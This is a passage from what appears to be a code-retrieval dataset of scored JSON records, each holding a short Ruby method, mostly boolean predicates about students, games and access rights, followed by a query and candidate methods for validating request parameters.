"docid": "98ac11731388d6a646739fd345fefc43",
"score": "0.5103148",
"text": "def set_undergraduate\n @undergraduate = Undergraduate.find(params[:id])\n end",
"title": ""
},
{
"docid": "bbae856505be15881fa9665135d2a47d",
"score": "0.50924975",
"text": "def enrolled_fulltime?\n # implicit self\n courses.count >= 3\n # could also be: \n # self.courses.count >= 3\n end",
"title": ""
},
{
"docid": "99b98733cb3d043f21be760fae954e63",
"score": "0.5091326",
"text": "def assigned_to_transition_aged_youth?\n volunteer_no_transition_youth_cases = object.casa_cases.pluck(:transition_aged_youth).all? false\n\n volunteer_no_transition_youth_cases ? \"No\" : \"Yes 🐛🦋\"\n end",
"title": ""
},
{
"docid": "99d5b23f2da45f4dbaa10307e2e9406c",
"score": "0.50880903",
"text": "def oversight_staff?\n staff? && agencies.any? { |a| a.oversight? }\n end",
"title": ""
},
{
"docid": "4a663bf0fc1364d69b4224765f901b49",
"score": "0.50773937",
"text": "def is_valid?\n instructor_approved || (non_rejected_student_memberships.size >= assignment.group_min)\n end",
"title": ""
},
{
"docid": "be757f3c4bad76c4b318ecc167843512",
"score": "0.50542736",
"text": "def adulte?\n Date.civil(Date.today().year, 8, 1).years_ago(18) > self.naissance\n end",
"title": ""
},
{
"docid": "1d28350d0b9c41b38d9cba0ef2d98ac8",
"score": "0.5042232",
"text": "def strong?\n self.health >= 100\n end",
"title": ""
},
{
"docid": "f1327376516faa07d9aa4ab1bc7ee6a5",
"score": "0.50379056",
"text": "def enrolled? (student)\n @students.include?(student) # returns true or false on array existence\n end",
"title": ""
},
{
"docid": "6b3e3168831b374c64baa79efb5725f1",
"score": "0.5036959",
"text": "def is_authorized_for_student(student)\n return true if self.districtwide_access?\n\n return false if self.restricted_to_sped_students && !(student.program_assigned.in? ['Sp Ed', 'SEIP'])\n return false if self.restricted_to_english_language_learners && student.limited_english_proficiency == 'Fluent'\n return false if self.school.present? && self.school != student.school\n\n return true if self.schoolwide_access? || self.admin? # Schoolwide admin\n return true if self.has_access_to_grade_levels? && student.grade.in?(self.grade_level_access) # Grade level access\n return true if student.in?(self.students) # Homeroom level access\n false\n end",
"title": ""
},
{
"docid": "7e463f06a1a107654d6638870e3977b9",
"score": "0.50272",
"text": "def is_relevant_for_educator?\n supported_schools.any? {|school| authorized_grade_levels(school.id).size > 0 }\n end",
"title": ""
},
{
"docid": "d4de7f43826ec1e17930ddcc883dc796",
"score": "0.5012847",
"text": "def student?\n return logged_in? && (current_user.class == Student)\n end",
"title": ""
},
{
"docid": "19c3b60bd5ce236bdb2a4a9fa34cf004",
"score": "0.5001482",
"text": "def legal?\n @age >= LEGAL_AGE\n end",
"title": ""
},
{
"docid": "6115fa49731730929b0ac641159383a2",
"score": "0.49971777",
"text": "def up?\n return inject(true) { |flag, n|\n #debug \"Checking if #{n} is up\"\n if flag\n if ! n.isEnrolled(@groupName)\n debug n, \" is not enrolled in '#{@groupName}' yet.\"\n flag = false\n end\n end\n flag\n }\n end",
"title": ""
},
{
"docid": "98425f76ae7ce4c3865a61dad16671f2",
"score": "0.49726462",
"text": "def has_classmates?\n belongs_to_classroom? ? !classroom.students.empty? : nil\n end",
"title": ""
},
{
"docid": "4fbca08585539abe643c23074072052e",
"score": "0.4971621",
"text": "def hungry?\r\n # methods that return true or false\r\n @stuff_in_belly <= 2\r\n end",
"title": ""
},
{
"docid": "9c39658c05fd066afb40d9559859634c",
"score": "0.49501318",
"text": "def is_health_low()\r\n if @warrior.health >= GOOD_HEALTH\r\n return false\r\n elsif @warrior.health < GOOD_HEALTH\r\n return true\r\n end\r\n end",
"title": ""
},
{
"docid": "9c39658c05fd066afb40d9559859634c",
"score": "0.49501318",
"text": "def is_health_low()\r\n if @warrior.health >= GOOD_HEALTH\r\n return false\r\n elsif @warrior.health < GOOD_HEALTH\r\n return true\r\n end\r\n end",
"title": ""
},
{
"docid": "d6d386ab48209c29e93d835ef57602c6",
"score": "0.49495438",
"text": "def passed?\n @grade >= 2.0\n end",
"title": ""
},
{
"docid": "4187fb33c3cabdad9846689bee6e75aa",
"score": "0.49306434",
"text": "def student_logged_in?\n !current_student.nil?\n end",
"title": ""
},
{
"docid": "98c8664bebe7c37b5b9a5d08ddc22765",
"score": "0.4928845",
"text": "def continues?\n year > specialization.study_length\n end",
"title": ""
},
{
"docid": "146a6f4be2f446c042f8336c319ef06b",
"score": "0.49280664",
"text": "def critical?\n hp_rate <= Critical_Rate\n end",
"title": ""
},
{
"docid": "146a6f4be2f446c042f8336c319ef06b",
"score": "0.49280664",
"text": "def critical?\n hp_rate <= Critical_Rate\n end",
"title": ""
},
{
"docid": "7903d2e04ccf45b56c14f29c94c59e59",
"score": "0.49245933",
"text": "def logged_in?\n !current_school.nil?\n end",
"title": ""
},
{
"docid": "f1304556c8b5298c65cb5fed1acec54d",
"score": "0.49228984",
"text": "def legal? class_name = nil, race = nil\n\t\tif @character != nil\n\t\t\tclass_name = @character.character_class.to_s if class_name == nil\n\t\t\trace = @character.race.to_s if race == nil\n\t\tend\n\t\tif @skill.prohibits != nil\n\t\t\tif @skill.prohibits.include?(race) or @skill.prohibits.include?(class_name)\n\t\t\t\treturn false\n\t\t\tend\n\t\tend\n\t\treturn true\n\tend",
"title": ""
},
{
"docid": "40de4162609659655c42f23cfd552036",
"score": "0.49223587",
"text": "def class_condition_met?(action)\n cls = self.class\n return true unless cls\n learning = cls.learnings.detect {|learning| learning.skill_id == action.skill_id }\n return true unless learning\n return false if self.level < learning.level\n return true\n end",
"title": ""
},
{
"docid": "05c62bb4d0ffd68da828251e2fb8035d",
"score": "0.492125",
"text": "def check_grades (name, final_student)\n\tif \n\t\tfinal_student[name] > 75\n\t\tputs \"Your final score is #{final_student[name]}. Congratulations, you passed!\"\n\telse\n\t\tputs \"Your final score is #{final_student[name]}. Sorry, you did not pass.\"\n\tend\nend",
"title": ""
},
{
"docid": "ce0180522da292cef69403eba154b285",
"score": "0.49155882",
"text": "def validate_under_age\n self.is_under_age = (self.age < SADHAK_MIN_AGE)\n errors.empty?\n end",
"title": ""
},
{
"docid": "fa18b30c903195620f949fdacac650f3",
"score": "0.49062204",
"text": "def is_owned\n !!(\n @training &&\n @training.id &&\n (\n @is_admin_logged_in || (@current_user && (@training.user_id == @current_user.id))\n )\n )\n end",
"title": ""
},
{
"docid": "8fab5e5fced93c1ecff653e1a04d051a",
"score": "0.4905551",
"text": "def guard_defeated?\n return true if @goal_was_occupied\n guard_mission.squads.each do |squad|\n return false if not squad.annihilated? and not squad.retreated_from_fortress and squad.entried\n end\n return true\n end",
"title": ""
},
{
"docid": "4f0c6d6159aea402d9ea9730ad7c32bc",
"score": "0.48993915",
"text": "def won?\n total_score\n #check to see total_score_instance > 100 - if it is, return true, else return false\n if @total_score_instance > 100\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "52f31c72950cafe456539d9664bacc70",
"score": "0.48958054",
"text": "def check_on_track?\n result = 0\n \n self.accessible_students.each do |student|\n result = student.check_on_track?\n if result == 2\n # Not on-track\n break\n end\n end\n\n return result\n end",
"title": ""
},
{
"docid": "c1ed36a927e08ba01554043b0a8957ab",
"score": "0.48888868",
"text": "def adulthood\n\t\tself.age.present? and self.age > 18\n\tend",
"title": ""
},
{
"docid": "4fd1eda60d5cb4fd3d2249e5ce6f496e",
"score": "0.48875445",
"text": "def oversight_admin?\n admin? && agencies.any? { |a| a.oversight? }\n end",
"title": ""
},
{
"docid": "28c652f35479d58167aea5095a2fe6a0",
"score": "0.48840103",
"text": "def is_authorized_for_student?(student)\n begin\n return true if @educator.districtwide_access?\n\n return false if @educator.restricted_to_sped_students && !(student.program_assigned.in? ['Sp Ed', 'SEIP'])\n return false if @educator.restricted_to_english_language_learners && student.limited_english_proficiency == 'Fluent'\n return false if @educator.school_id.present? && student.school_id.present? && @educator.school_id != student.school_id\n\n return true if @educator.schoolwide_access? || @educator.admin? # Schoolwide admin\n return true if @educator.has_access_to_grade_levels? && student.grade.in?(@educator.grade_level_access) # Grade level access\n return true if student.in?(@educator.students) # Homeroom level access\n return true if student.in?(@educator.section_students) # Section level access\n rescue ActiveModel::MissingAttributeError => err\n # We can't do authorization checks on models with `#select` that are missing\n # fields. If this happens, it's probably because the developer is trying to\n # to optimize a query. The authorization layer could only recover by making more\n # queries, so instead we raise and force the developer to figure out how to resolve.\n #\n # See `Authorizer.student_fields_for_authorization` and `Authorizer.educator_field_for_authorization`\n # to see what fields are required on each model.\n raise err\n end\n false\n end",
"title": ""
},
{
"docid": "20529829c1ff1c7a8bb0382998d3b722",
"score": "0.48669583",
"text": "def best_out_of_five?\n if @user_score == 3 && (@user_score + @comp_score) == 5\n puts \"You win the game!!!\"\n return true\n elsif @comp_score == 3 && (@user_score + @comp_score) == 5\n puts \"You lost the game, better luck next time!\"\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "c11bcd6f11b1560d1b1cb7dc6b39f297",
"score": "0.4866484",
"text": "def taking_damage?\n if @warrior.health < @health\n true\n else\n false\n end\n end",
"title": ""
},
{
"docid": "de6381da83b67e525d7a4163bd8c33d1",
"score": "0.4862909",
"text": "def is_authorized_for_grade_level_now?(school_id, grade_level_now)\n return false unless GradeLevels.new.next(grade_level_now).in?(supported_grade_levels_next_year)\n return false unless school_id.in?(supported_schools.map(&:id))\n return false unless is_authorized_for_school_id?(school_id)\n\n return true if @educator.districtwide_access?\n return true if @educator.admin?\n return true if @educator.schoolwide_access?\n return true if grade_level_now.in?(student_and_homeroom_grade_levels_now(school_id))\n\n false\n end",
"title": ""
},
{
"docid": "6dd6857ee771aa79ec908655071f553e",
"score": "0.48604757",
"text": "def us_county?\n feature_code = featureCode.first\n parent_country = parentCountry.first\n sec_adm_level_code = 'www.geonames.org/ontology#A.ADM2'\n us_country_code = 'sws.geonames.org/6252001/'\n feature_code.respond_to?(:rdf_subject) && feature_code.rdf_subject.to_s.include?(sec_adm_level_code) && parent_country.respond_to?(:rdf_subject) && parent_country.rdf_subject.to_s.include?(us_country_code)\n end",
"title": ""
},
{
"docid": "d9bd04c88a160b5065fe45080d255eb5",
"score": "0.484903",
"text": "def can_enroll?\n self.self_enrollment_allowed && effective_cutoff_date >= Time.now\n end",
"title": ""
},
{
"docid": "5358e554e59d5d6a843ff6c957e7e845",
"score": "0.48439282",
"text": "def time_is_up?\n an_hours_time = 60 * 60\n five_minutes_time = 60 * 5\n\n return false if run_time < five_minutes_time\n run_time % an_hours_time < five_minutes_time\n end",
"title": ""
},
{
"docid": "1afcf17135aedd571e4cb2474cdff224",
"score": "0.48362434",
"text": "def approved?(grade = 5)\n $students.each do |student|\n if get_avggrades(student) >= grade\n print \"#{student[:name]} ha aprobado con un #{get_avggrades(student)}\\n\"\n end\n end\nend",
"title": ""
},
{
"docid": "687250c8bb274591c2ef93c0213cf9a8",
"score": "0.48336187",
"text": "def alive_in?(year)\n year.between?(@birth_year, @death_year)\n end",
"title": ""
},
{
"docid": "6294c999961497ebb2943d7e9c7f118f",
"score": "0.4831037",
"text": "def proper_ranges_instructor\n\t\t\tinstructor_ids = Instructor.all.active.map { |e| e.id }\n\t\t\tif instructor_ids.include?(self.instructor_id)\n\t\t\t\treturn true\n\t\t\telse\n\t\t\t\terrors.add(:instructor_id, \"not an active instructor id\")\n\t\t\t\treturn false\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "99e8a36de93154ce6b5a3d52e28ce8db",
"score": "0.4827049",
"text": "def under_water?\n return $game_player.system_tag == TUnderWater\n end",
"title": ""
},
{
"docid": "58c2b396c92587423a37bb247e1a69b1",
"score": "0.4824571",
"text": "def is_up?\n return (is_constant? && @classified.first.is_up?)\n end",
"title": ""
},
{
"docid": "8683cc46667aac288f8a8bb614456b99",
"score": "0.48243695",
"text": "def healer\n return (self.offensive && self.offensive < 5)\n end",
"title": ""
},
{
"docid": "80f47568a3e01d00fdc9e576cce28f55",
"score": "0.48228866",
"text": "def university_pending?\n university && line_items_pending_any?\n end",
"title": ""
},
{
"docid": "73b990eb73bc5754e35b7c5919efcdd9",
"score": "0.4822196",
"text": "def levelup?\n if @monster.experience >= @monster.level**3\n @monster.level += 1\n @monster.turns = @monster.level\n @monster.health = 95+(5*@monster.level)\n end\n end",
"title": ""
},
{
"docid": "10909201afe814549329b35c70fac533",
"score": "0.4817201",
"text": "def offer_degree?\n institution_of_higher_learning_indicator || non_college_degree_indicator\n end",
"title": ""
},
{
"docid": "ea5183c15fb671be80b30bb5ea89d597",
"score": "0.48099467",
"text": "def classify_instance( instance )\n return score(instance) > threshold ? true : false\n end",
"title": ""
},
{
"docid": "28f35877101edf057ef163cb6379f6df",
"score": "0.4806255",
"text": "def in_decision\n return @decision_level > 0\n end",
"title": ""
},
{
"docid": "9e06788aab2cc6ab9c058937bf1afb4d",
"score": "0.47969225",
"text": "def ensure_at_williams\n forbidden \"You are not logged in as a current student or faculty/staff member.\" unless at_williams?\n end",
"title": ""
},
{
"docid": "ddf010af66a49edf2e6e277b694d02cd",
"score": "0.4794623",
"text": "def won?\n total_score > 100 ? true : false\n end",
"title": ""
},
{
"docid": "cce33b3b5dfcfadb34ac9d8804e2b2f2",
"score": "0.47796836",
"text": "def good?\n @summary[:total_score] <= Constants::THRESHOLDS[\"Project\"]\n end",
"title": ""
},
{
"docid": "b308058f4273a83f541b0f4f1026af55",
"score": "0.4778604",
"text": "def may_advance_to_next_round?\n case self.performance.contest.round\n when 1\n # Check for sufficient age\n return false if [\"Ia\", \"Ib\"].include?(self.age_group)\n when 2\n # Conditions for second round\n return false if [\"Ia\", \"Ib\", \"II\"].include?(self.age_group)\n end\n\n return (self.points && self.points >= 23) # Basic condition is 23 or more points\n end",
"title": ""
},
{
"docid": "ec550ca6b93dbcb89a1b3b1649e7b224",
"score": "0.47718057",
"text": "def has_enough_votes?\n if self.resident_upvotes.count >= 5\n return true \n else \n return false\n end \n end",
"title": ""
},
{
"docid": "7104dc26d5b91c21dfcfcb62310c54c7",
"score": "0.4770901",
"text": "def coaches_student?(student)\n\t\tstudents.include?(student)\n\tend",
"title": ""
},
{
"docid": "331d4029abeb3f3ed5bb33ba992ee4c5",
"score": "0.47704303",
"text": "def won?\n return total_score > 100 ? true : false\n end",
"title": ""
},
{
"docid": "b872548c95b6f592142f18a5c4cf7619",
"score": "0.47675237",
"text": "def profile_completed?\n return true if self.for_testing?\n !self.skills.blank? and !self.bio.blank?\n end",
"title": ""
},
{
"docid": "51d17bfa8b4174673060ed51c4782eda",
"score": "0.47633076",
"text": "def check_story_visibility_for( user_training_story )\n UserTrainingStoryAccessibility.new( current_user, user_training_story ).is_visible\n end",
"title": ""
},
{
"docid": "de1ca9874f6fcac59a6201f1eabe4bcd",
"score": "0.47621533",
"text": "def faculty?\n\t\tmember_of.downcase.include? \"faculty\"\n\tend",
"title": ""
},
{
"docid": "05a96195a44253bdac2256cd2cfd31d9",
"score": "0.47606793",
"text": "def instructor_has_completed_orientation?\n return true if Features.disable_onboarding?\n TrainingModulesUsers\n .where(training_module_id: ORIENTATION_ID)\n .where(user_id: current_user.id)\n .where.not(completed_at: nil).any?\n end",
"title": ""
},
{
"docid": "5a725e939ea6915c65d33bf6e7a85ce3",
"score": "0.47604188",
"text": "def attacked? tribal_strength, direction\n (tribal_strength > @@wall_strength[direction])\n end",
"title": ""
},
{
"docid": "175ce28fea0f77b978071fc2ef0f20b0",
"score": "0.4754932",
"text": "def is_adult?(age)\n age>=18\nend",
"title": ""
},
{
"docid": "7a07fa0afdae02633e3480e1dc432b6b",
"score": "0.4752723",
"text": "def affords?(tower_class)\n @cash >= tower_class.new.cost\n end",
"title": ""
},
{
"docid": "41c5e0788d3777d35bec5beeac9a3b94",
"score": "0.47506648",
"text": "def schengen_overstay?\n return schengen_days > 90 if schengen_days\n true\n end",
"title": ""
},
{
"docid": "2d48f9fa91b2c56e1470db5c7325e6dc",
"score": "0.47476897",
"text": "def seats_available\n\t\tavailable = total_student - UserEvent.joined_students_count(self.id)\n\n\t\tif available > 0\n\t\t\tavailable\n\t\telse\n\t\t\t\"FULL\"\n\t\tend\n\tend",
"title": ""
},
{
"docid": "1965b8a05ddd715ca6c09ca810bdee53",
"score": "0.47476542",
"text": "def show?\n user.rank > SCHOOL_RANK || user.college == @college.id\n end",
"title": ""
},
{
"docid": "9a570c9ab179946e61bb863eda0c1eea",
"score": "0.4744712",
"text": "def live_university_at?(query_date = Date.today)\n # if a cust has 3 dvds in the field and cancels, we want that to count as a cancelled order\n university && (line_items.select { |li| li.live_at(query_date) }.size > 3) && univ_payed_up?\n end",
"title": ""
},
{
"docid": "5fdb986ebaf7eeef5e743c8645608861",
"score": "0.47336194",
"text": "def can_train_peasant?\n gold >= 90 && food >= 5\n end",
"title": ""
},
{
"docid": "5fdb986ebaf7eeef5e743c8645608861",
"score": "0.47336194",
"text": "def can_train_peasant?\n gold >= 90 && food >= 5\n end",
"title": ""
},
{
"docid": "f18e601dd0e6050d87d5b0e5b3fef9ad",
"score": "0.4733413",
"text": "def is_an_adult(age)\n if age >= 18\n true\n else\n false\n end\nend",
"title": ""
}
] |
05a4ea6c9f1621b5787a9dba92584eb3 | valid? `params`: the params that were sent with the request. Validate the params sent with the request. | [
{
"docid": "7c1ae7b8ba2fd8f51da1977ab51a3380",
"score": "0.68829954",
"text": "def valid?(params)\n # Make sure the website is a passed in param.\n unless params['website'] && given?(params['website'])\n return false\n end\n\n # Make sure the width is a passed in param.\n unless params['width'] && given?(params['width'])\n return false\n end\n\n # Make sure the height is a passed in param.\n unless params['height'] && given?(params['height'])\n return false\n end\n\n true\nend",
"title": ""
}
] | [
{
"docid": "8aac0dd796a8aeda6fcf43778fbaf7fa",
"score": "0.8235075",
"text": "def validate_params(params)\n # This will be implemented by Validators which take parameters\n end",
"title": ""
},
{
"docid": "67728d2aaceff6f0804ffaa0d8ae5149",
"score": "0.8032505",
"text": "def valid?(params)\n true\n end",
"title": ""
},
{
"docid": "34773e6ef2065d9864a9959c2ed54ff6",
"score": "0.7968775",
"text": "def valid_params_request?\n true\n end",
"title": ""
},
{
"docid": "34773e6ef2065d9864a9959c2ed54ff6",
"score": "0.7968775",
"text": "def valid_params_request?\n true\n end",
"title": ""
},
{
"docid": "9d23b31178b8be81fe8f1d20c154336f",
"score": "0.79055446",
"text": "def valid_params_request?; end",
"title": ""
},
{
"docid": "aba7ca4751a1133fb58b997ab2004efb",
"score": "0.786137",
"text": "def validate(params)\n Request.new(params).validate(params)\n end",
"title": ""
},
{
"docid": "ab08d31c86feb6845f6e6f88a898fd5f",
"score": "0.7794139",
"text": "def validate_params_present!\n raise ArgumentError, \"Please provide one or more of: #{ACCEPTED_PARAMS}\" if params.blank?\n end",
"title": ""
},
{
"docid": "86b2d48cb84654e19b91d9d3cbc2ff80",
"score": "0.7678251",
"text": "def valid_params?; end",
"title": ""
},
{
"docid": "83e5e9a33ff5f0d05b569bbe47fc5984",
"score": "0.7531823",
"text": "def validate?(params)\n _validate?(params)\n end",
"title": ""
},
{
"docid": "07f4e37e4829a448798d16db1a1734af",
"score": "0.748452",
"text": "def is_valid(params)\n i = 0\n while params.length > i\n p params[i]\n if params[i] == nil || params[i] == \"\"\n session[:error] = \"Du missade en parameter! Försök igen.\"\n redirect('/error')\n end\n i += 1\n end\n end",
"title": ""
},
{
"docid": "660d8dc9dfccc79613624beb6c3c516c",
"score": "0.74768835",
"text": "def validate_params?\n true # TODO: add validation\n end",
"title": ""
},
{
"docid": "8ec71227a20bf634348dd1b16cfd4a60",
"score": "0.7454516",
"text": "def is_valid(params)\n i = 0\n while params.length > i\n p params[i]\n if params[i] == nil || params[i] == \"\"\n session[:error] = \"You missed a parameter! Try again.\"\n redirect('/error')\n end\n i += 1\n end\n end",
"title": ""
},
{
"docid": "c72ab6d0c2a155a8239beef8fc65e28f",
"score": "0.7394192",
"text": "def valid_params?\n params.none? do |k,v|\n v == \"\"\n end\n end",
"title": ""
},
{
"docid": "10f6c2f7c25a63626f03ca8f7d415a6e",
"score": "0.7385715",
"text": "def valid_params?\n params.is_a?(Hash)\n end",
"title": ""
},
{
"docid": "63011d77690746cc2b30069d75cca8c2",
"score": "0.73594576",
"text": "def validate params\n validate_params(params)\n validate_coordinates\n validate_color\n validate_dimension\n end",
"title": ""
},
{
"docid": "e5fe514f8f4b095f703fc1595d9875e6",
"score": "0.72851235",
"text": "def validate(params) #:nodoc:\n recognized_keys = validate_children(params)\n unexpected_keys = params.keys - recognized_keys\n if parent.nil?\n # Only ignore the standard params at the top level.\n unexpected_keys -= settings[:ignore_params]\n end\n unless unexpected_keys.empty?\n # kinda hacky to get it to display correctly\n unless settings[:ignore_unexpected]\n basename = canonical_name\n canonicals = unexpected_keys.sort.collect{|k| basename.empty? ? k : basename + \"[#{k}]\"}.join(', ')\n s = unexpected_keys.length == 1 ? '' : 's'\n raise UnexpectedParam, \"Request included unexpected parameter#{s}: #{canonicals}\"\n end\n unexpected_keys.each{|k| params.delete(k)} if settings[:remove_unexpected]\n end\n end",
"title": ""
},
{
"docid": "9c3d6ecbb52f67762f83e62e1066b963",
"score": "0.7281875",
"text": "def valid?(params, options = {})\n path = \"#{base_uri(params)}/validate\"\n request(path, options).to_hash['valid']\n end",
"title": ""
},
{
"docid": "d098ea7d2c1faffe5a66ab729b35dac9",
"score": "0.7233575",
"text": "def validate_params\n if process_object && process_object[\"required_params\"]\n process_object[\"required_params\"].each do |param|\n if !params_hash.has_key?(param)\n errors.add(:params, \"Step: #{step} - Missing mandatory param #{param}\")\n end\n end\n end\n end",
"title": ""
},
{
"docid": "d7962048bbd007b6babaacf8a48419ad",
"score": "0.7231511",
"text": "def valid_params?(params)\n params.keys.each do |key|\n unless RealPush::API::App.params_accept.include? key.to_sym\n raise ConfigurationError, \"Invalid parameter! ( #{RealPush::API::App.params_accept.join(', ')} )\"\n end\n end\n true\n end",
"title": ""
},
{
"docid": "0c284819b5cef8b69171671cc1e784ec",
"score": "0.72147375",
"text": "def ensure_params(*req)\n missing = []\n req.flatten.each do |param|\n if params[param].blank?\n missing << param.to_s\n end\n end\n if missing.empty?\n return false\n else\n msg = \"Following params are required but missing: \" + missing.join(\", \")\n render_api_error(11 , 400, 'params', msg)\n return true\n end\n end",
"title": ""
},
{
"docid": "d205aed8ad5da70f50f7ea533bf36323",
"score": "0.72091526",
"text": "def params_validation\n errors = validate_params(params)\n return json_response(errors, :unprocessable_entity) if errors.present?\n end",
"title": ""
},
{
"docid": "fd29845e29df5a7027896ee4b3ed4c84",
"score": "0.7201549",
"text": "def validate_params\n @calls << [:validate_params]\n end",
"title": ""
},
{
"docid": "088f0933446cb1bea0c587fcf7cbb3d7",
"score": "0.71775246",
"text": "def validate_params(params, url)\n missing = []\n params.keys.each do |p|\n if @required_config[get_current_url] and @required_config[get_current_url].keys.include? p\n if params[p] == \"\"\n missing << @required_config[get_current_url][p]\n end\n end\n end\n if missing.any?\n raise \"Parameters #{missing.inspect} must be set to non empty value while posting to #{url}. Please provide.\"\n end\n end",
"title": ""
},
{
"docid": "0f17d66a1a0102260fcfd1139a3f6617",
"score": "0.71672666",
"text": "def check_params(params)\n\n\t\tself.assign_attributes(params)\n\t\tself.check\n\t\treturn false unless @valid\n\t\treturn self\n\tend",
"title": ""
},
{
"docid": "f682ee496c5720760d1affc554371dae",
"score": "0.7100854",
"text": "def valid?(required_params)\n required_params.each do |p|\n return false unless @params_map.key?(p)\n end\n true\n end",
"title": ""
},
{
"docid": "f19f5ab2c051712bd7c5325713d00356",
"score": "0.708891",
"text": "def valid_params?\n params_auth_hash.is_a?(Hash)\n end",
"title": ""
},
{
"docid": "a1c3dbe9664dc9034fa26302c15c9e9d",
"score": "0.7063641",
"text": "def validate params\n validate_params(params)\n validate_dimension\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.7051478",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "9d8c598c42500fde8cd983be03661260",
"score": "0.7047549",
"text": "def check_params\n # For each key,value in GLOBAL VAR **PARAMS**.\n PARAMS.each do |param, method|\n # Next if there isn't param in the request of client\n next unless params[param]\n # Check the *param* with *method*\n unless send(method, params[param])\n @error_object = \"Param #{param} is wrong, #{method} failed\"\n return false\n end\n end\n true\n end",
"title": ""
},
{
"docid": "243d9bd937a307efd42b042d56743abb",
"score": "0.70014757",
"text": "def valid?\n @params_definition.each { |pd| return false unless @params.has_key?(pd) }\n true\n end",
"title": ""
},
{
"docid": "709d4ed1362b80594888bafac101ddb3",
"score": "0.7000828",
"text": "def check_params(params, allowed_params)\n if (params.keys - allowed_params).empty?\n return params\n else\n raise Bitfinex::ParamsError\n end\n end",
"title": ""
},
{
"docid": "9206f0d0eeb694796e45eeffd08c8702",
"score": "0.6997613",
"text": "def invalid_params?\n @invalid_params.keys.length == 0\n end",
"title": ""
},
{
"docid": "3d3aa32a37a79701af193ad01c5e1499",
"score": "0.69955534",
"text": "def validate(v, params)\n @params = params\n ret = valid?(v)\n @params = nil\n ret\n end",
"title": ""
},
{
"docid": "e5575408cf466dee7b7dc240d91a54e4",
"score": "0.69889665",
"text": "def validate_params!\n self.params ||= Hash.new\n self.class.instance_variable_get(:@__required_params).each do |e|\n raise ArgumentError, \"Insufficient parameters set (#{e} not supplied)\" if self.params[e].nil?\n end\n end",
"title": ""
},
{
"docid": "5ee931ad3419145387a2dc5a284c6fb6",
"score": "0.6977471",
"text": "def check_params\n true\n end",
"title": ""
},
{
"docid": "ac5c3983f260e0d91a89a02022fefe77",
"score": "0.697421",
"text": "def validate_params\n if command == 'PLACE'\n if params.kind_of?(Array)\n errors[:params] << '[PLACE] Must be three params' unless params.size == 3\n validate_coords\n validate_direction\n else\n errors[:params] << '[PLACE] Not valid params'\n end\n end\n end",
"title": ""
},
{
"docid": "88262e14a78c0cbe48d1078d83491f46",
"score": "0.69678044",
"text": "def validate_params\n data = endpoint_params\n errors = []\n errors << 'Invalid verb' if %w[GET POST PATCH DELETE].exclude?(data[:verb])\n # check for valid url\n begin\n URI.parse data[:path]\n rescue URI::InvalidURIError => e\n errors << 'Invalid Path'\n end\n render json: { errors: errors }, status: :unprocessable_entity if errors.present?\n end",
"title": ""
},
{
"docid": "5dc2039c4479afec8614fe2359c74bfb",
"score": "0.6925151",
"text": "def validate_params\n render_endpoint_request do\n erb = EndpointRequestBuilder.new(@endpoint)\n erb.validate(@arguments)\n render json: { success: 'Params look great!' }, status: 200\n end\n end",
"title": ""
},
{
"docid": "15414e98f4c59e837111d0549d9b7fec",
"score": "0.6917969",
"text": "def has_valid?(params)\n params.none?{|key,value| value.empty?}\n end",
"title": ""
},
{
"docid": "0338f5e2685bd48f5c8276b014dd77fd",
"score": "0.69085383",
"text": "def validate_params\n if !@to.nil? && !@to.is_numeric?\n add_error(code: 400, error: 'The parameter to, be must a number')\n elsif (@from.is_a? String) && !@from.is_numeric?\n add_error(code: 400, error: 'The parameter from, be must a number')\n end\n end",
"title": ""
},
{
"docid": "37656a050c4e4765c2ea464cd3d4e764",
"score": "0.68801945",
"text": "def validate_paramified_params\n self.class.paramify_methods.each do |method|\n params = send(method)\n transfer_errors_from(params, TermMapper.scope(params.group)) if !params.valid?\n end\n end",
"title": ""
},
{
"docid": "7b99f1567993e5e2d864b23e6bc2170c",
"score": "0.6854118",
"text": "def valid_request object, params\n object.attributes = params\n unless object.valid?\n errors = Hash.new\n object.errors.messages.each do |k, v|\n errors = errors.merge({k => v[0]})\n end\n render :json => {:code => 102, :type => 'invalid_parameters', :parameters => errors}, :status => 400, :method => :get\n return false\n end\n object.save\n return object\n end",
"title": ""
},
{
"docid": "f76d2fae1a6002dcc0800692dd06320f",
"score": "0.684284",
"text": "def verify_params\n Validate::params_match @func, @current_param\n end",
"title": ""
},
{
"docid": "32a371692eb37d6ee21db4c7fcf7f800",
"score": "0.68385756",
"text": "def validateParams \r\n\t \r\n\t \tif !@data.nil? && !@key.nil? && !@cipher.nil?\r\n\t\t\treturn true\r\n\t \telse\r\n\t\t\treturn false \t\r\n\t \tend\r\n\t \t\r\n\t end",
"title": ""
},
{
"docid": "68815c1979e028984e7c2d5abadc2552",
"score": "0.6803115",
"text": "def valid_for_params_auth?; end",
"title": ""
},
{
"docid": "40d360867ce8474f202803bb0bcd3a67",
"score": "0.67593",
"text": "def valid_for_params_auth?\n params_authenticatable? && valid_params_request? &&\n valid_params? && with_authentication_hash(:params_auth, params_auth_hash)\n end",
"title": ""
},
{
"docid": "22b3e3f1ea30a3e8fd569746a9233fc9",
"score": "0.67527026",
"text": "def check_required_params\n errors = required_params.map { |param, value| raise param_errors[param] if value.nil? }.compact\n raise errors.joins('; ') unless errors.empty?\n end",
"title": ""
},
{
"docid": "ea1d106aa687b67ffa4e46b8a4987515",
"score": "0.67334855",
"text": "def valid?\n utils = Amazon::FPS::SignatureUtilsForOutbound.new(@access_key, @secret_key);\n utils.validate_request(:parameters => @params, :url_end_point => @url_end_point, :http_method => \"GET\")\n end",
"title": ""
},
{
"docid": "5c2705eda35c834c4eee27e636642a22",
"score": "0.6732434",
"text": "def validate\n raise ArgumentError, \"Params emtpy\" if @params.nil? \n @errors = []\n @errors << 'reason must be provided' if @params.reason.nil? \n @errors << 'txn_id must be provided' if @params.txn_id.nil? \n @errors << 'order.id must be provided' if @params.order.id.nil? \n @errors << 'order.total must be provided' if @params.order.total.nil? \n @errors << 'order.shipping_value must be provided' if @params.order.shipping_value.nil? \n @errors << 'order.tax must be provided' if @params.order.tax.nil? \n\n raise ZipMoney::RequestError.new(\"Following error(s) occurred while making request, please resolve them to make the request: #{@errors}\") if @errors.any?\n end",
"title": ""
},
{
"docid": "1b8b21a0116d5e1a3cca6a988935d4f4",
"score": "0.6725654",
